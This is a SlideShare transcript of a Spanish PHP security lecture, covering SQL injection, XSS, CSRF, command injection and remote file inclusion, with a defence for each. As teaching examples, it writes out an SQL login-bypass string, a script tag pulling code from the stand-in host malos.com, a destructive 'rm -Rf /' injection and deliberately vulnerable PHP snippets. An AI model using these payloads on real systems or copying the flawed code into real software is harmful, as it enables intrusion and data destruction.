Your SlideShare is downloading. ×
Seguridad en PHP (es)
Upcoming SlideShare
Loading in...5
×

Thanks for flagging this SlideShare!

Oops! An error has occurred.

×
Saving this for later? Get the SlideShare app to save on your phone or tablet. Read anywhere, anytime – even offline.
Text the download link to your phone
Standard text messaging rates apply

Seguridad en PHP (es)

3,843
views

Published on

Published in: Technology

1 Comment
4 Likes
Statistics
Notes
  • Hola estoy en pleno diseño de unas paginas web; incluyendo base de datos; que me sugieres, para poder salvaguardar lo diseñado; algo que no tenga accesividad al sistema de datos, etc GRACIAS
       Reply 
    Are you sure you want to  Yes  No
    Your message goes here
No Downloads
Views
Total Views
3,843
On Slideshare
0
From Embeds
0
Number of Embeds
0
Actions
Shares
0
Downloads
204
Comments
1
Likes
4
Embeds 0
No embeds

Report content
Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
No notes for slide

Transcript

  • 1. PHP SEGURIDAD (o cómo evitar que los malos nos jodan vivos)
  • 2. PHP
    • Hoy en día, hacer una web que no sea estática puede ser una pesadilla por la cantidad de ataques existentes
    • 3. Algo tan simple como <?php echo $_GET['x']; ?> ya es una vulnerabilidad en una página web
      • Sí, lo digo en serio
        • ¡Muy en serio!
  • 4. PHP
    • 2 reglas básicas:
      • NUNCA confiar en datos que provengan del usuario
      • 5. &quot;Filter your input, Escape your output&quot;
    • Además de éstas hay otras a tener en cuenta, pero sin duda éstas son las más importantes
  • 6. PHP
    • No confiar en datos que vienen del usuario (i)
      • Si el usuario puede modificar el valor de una variable, no se debe confiar nunca en este dato
        • productos.php?id=4
        • 7. El usuario puede modificar fácilmente el id de producto a visualizar, y poner, en vez de un número, cualquier otra cosa
        • 8. ¡¡¡Asegurarse que $_GET['id'] es un número!!!
  • 9. PHP
    • No confiar en datos que vienen del usuario (ii)
      • En el caso anterior está muy claro que el usuario puede modificar el id que nos envía.
      • 10. En el formulario que aparece aquí al lado, un usuario también puede modificar el valor del mes
        • ¿Cómo? Modificando el html y luego enviando el formulario a su destino
        • 11. O usando plugins para el navegador
        • 12. ¡10 minutos de ejercicio!
  • 13. PHP
    • No confiar en datos que vienen del usuario (iii)
      • Visto lo visto con el ejercicio anterior, espero que todos comprobéis que lo que os llega a través de formularios son valores válidos antes de empezar a trabajar con ellos
      • 14. Datos que puede modificar el usuario:
        • $_GET, $_POST, $_REQUEST, $_COOKIE, $_FILES* , $_SERVER*
    * Algunos campos únicamente
  • 15. PHP
    • Filter your input, Escape your output (i)
      • Filter your input se refiere a lo que ya hemos comentado antes... no confiar en los datos que envía el usuario
      • 16. Cada vez que enviamos datos a un medio, hemos de evitar que caracteres especiales para ese medio que puedan existir en los datos que enviamos se interpreten como tales:
        • Comillas (simples o dobles) en bases de datos
        • 17. <, >, &, ', &quot; en html
        • 18. ', &quot;, $, ;, ` al ejecutar comandos en la terminal
  • 19. PHP
    • Filter your input, Escape your output (ii)
      • SQL Injection (i)
        • Sucede cuando no escapamos las ' o &quot; en una consulta a la base de datos
        • 20. $sql = &quot;SELECT * FROM usuarios WHERE username='{$_POST['username']}' AND password='{$_POST['password']}'&quot;;
        • 21. Si nos envían usuario 'pepe' y contraseña 'patata'
        • 22. $sql = &quot;SELECT * FROM usuarios WHERE username='pepe' AND password='patata';
        • 23. ¡Sin peligro!
  • 24. PHP
    • Filter your input, Escape your output (iii)
      • SQL Injection (ii)
        • Un atacante podría introducir esto como username: ' OR id=1 -- (tal cual, con la comilla incluída)
        • 25. Query generado: $sql = &quot;SELECT * FROM usuarios WHERE username='' OR id=1 -- ' AND password='blabla'&quot;
        • 26. A partir de -- es comentario
        • 27. ¡El atacante podría autenticarse como cualquier usuario!
  • 28. PHP
    • Filter your input, Escape your output (iv)
      • SQL Injection (iii)
        • Un atacante podría usar una SQL Injection para múltiples propósitos:
        • 29. Login sin usuario / contraseña
        • 30. Obtener registros de la base de datos (datos bancarios, personales, passwords...)
        • 31. Eliminar registros o tablas de la BD
  • 32. PHP
    • Filter your input, Escape your output (v)
      • SQL Injection (iv)
        • Solución: Escapar las comillas (y algunos otros caracteres)
        • 33. Manera: Usar métodos específicos del driver de la base de datos:
          • $mysqli->real_escape_string($variable)
          • 34. $pdo->quote($variable)
          • 35. Si no hay método disponible, addslashes($var)
        • Manera 2: Prepared Statements
  • 36. PHP
    • Filter your input, Escape your output (vi)
      • Cross-Site Scripting (XSS) (i)
        • Cuando los datos que escribe el usuario se muestran en una página web
        • 37. El usuario puede escribir html que se interpretará como tal
        • 38. Posibilidades enormes para un atacante, la más habitual insertar un <iframe> o <script> que cargue una página/script con código malévolo
        • 39. XSS ataca a los usuarios de la web, no a la web en si misma (habitualmente)
  • 40. PHP
    • Filter your input, Escape your output (vii)
      • Cross-Site Scripting (XSS) (ii)
        • Si un atacante consigue meter código html en una página que puede ver mucha gente, ya la hemos jodido
        • 41. Habitualmente: foros, perfiles de usuario
        • 42. En caso que no pueda, igualmente podemos (bueno, nuestros usuarios) estar jodidos: vulnerable.php?id=<script src=&quot;http://malos.com/script.js&quot;> </script>
        • 43. Usa un redireccionador tipo tinyurl para el ataque anterior
  • 44. PHP
    • Filter your input, Escape your output (viii)
      • Cross-Site Scripting (XSS) (iii)
        • Para protegernos (y a nuestros usuarios): Evitar que se interprete el código html que entran nuestros usuarios
        • 45. htmlspecialchars($texto_usuario);
  • 46. PHP
    • Cross-Site Request Forgery (CSRF) (i)
      • Un atacante envia una petición a un sitio web como si proviniera de un usuario legítimo
      • 47. ejemplo
        • Un usuario se ha logueado en www.mipagina.com
        • 48. En otra ventana del navegador, visita http://malos.com/, donde hay este código: <img src=&quot;http://mipagina.com/logout.php&quot; />
        • 49. Esto provoca que el navegador del usuario lance una petición a mipagina.com/logout.php, que parece legítima, y desloguea al usuario
  • 50. PHP
    • Cross-Site Request Forgery (CSRF) (ii)
      • Puede afectar tanto a peticiones GET como POST
      • 51. El caso del logout es más o menos inofensivo, aunque molesto
      • 52. lacaixa.com/traspasar_fondos.php?from=mi_cuenta&to=cuenta_atacante&cantidad=10000
        • ya no es tan inofensivo eh?
  • 53. PHP
    • Cross-Site Request Forgery (CSRF) (iii)
      • Para protegernos (y a nuestros usuarios)
      • 54. Uso de tokens únicos entre peticiones
        • Generar un token aleatorio y guardarlo en la sesión
        • 55. En la siguiente petición que haya, comprobar la existencia de dicho token (que se habrá enviado en la url o mediante un input hidden)
        • 56. Si existe y es el mismo que el de la sesión, todo correcto: procesamos la petición
        • 57. Si no existe o es diferente: posible ataque. No hacemos nada
  • 58. PHP
    • Cross-Site Request Forgery (CSRF) (iv)
        • Regenerar un token cada vez
        • 59. Es muy difícil (si no imposible) que un atacante pueda realizar una petición haciéndose pasar por un usuario legítimo acertando el token que toque
      • Es un ataque indiscriminado, aunque con pocas posibilidades de éxito excepto a sitios de primera línea
        • Necesitamos que el usuario se haya autenticado en la página y luego visite la web malos.com
  • 60. PHP
    • Ejecutar comandos (i)
      • Imaginad que queremos mostrar al usuario los archivos que hay en una carpeta, el nombre de la cual nos la proporciona el usuario: listar.php?carpeta=imagenes
      • 61. El código de listar.php incluye: $comando = &quot;ls &quot;.$_GET['carpeta']; echo exec($comando);
  • 62. PHP
    • Ejecutar comandos (ii)
      • Si el usuario accede a: listar.php?carpeta=imagenes; rm -Rf /
      • 63. La instrucción a ejecutar quedaría como: ls imagenes; rm -Rf /
      • 64. 2 comandos! listar el contenido de la carpeta imágenes... y luego borrar todos los archivos del disco duro!
      • 65. Evitarlo usando escapeshellcmd() y escapeshellarg()
  • 66. PHP
    • Incluir archivos remotos (i)
      • Es (o era) bastante común acceder a un sitio con una url similar a index.php?pagina=productos
      • 67. Internamente, index.php realiza una cosa similar a require_once($_GET['pagina'].'.php');
      • 68. Qué pasa si un atacante accede a index.php?pagina=http://malos.com/script
      • 69. Bingo... la hemos jodido!
  • 70. PHP
    • Incluir archivos remotos (ii)
      • http://malos.com/script.php será una página con código PHP, que descargaremos y ejecutaremos en nuestro servidor, lo que significa que estaremos ejecutando código PHP creado por un atacante... y que probablemente no tendrá nada de bueno
      • 71. Para evitarlo (i):
        • Pasar la página como un número y consultar un array de páginas
        • 72. Poner un ./ al inicio del require (de esta forma se intentaría incluir './http://malos.com/script.php', y fallaría
  • 73. PHP
    • Incluir archivos remotos (iii)
      • Para evitarlo (ii):
        • Desactivar la funcionalidad de incluir archivos remotos en php (directiva allow_url_include)
  • 74. PHP
    • TODO:
      • Validación servidor obligatoria!!!
        • (validación cliente opcional)
      • Robo sesiones
      • 75. Usuario root bd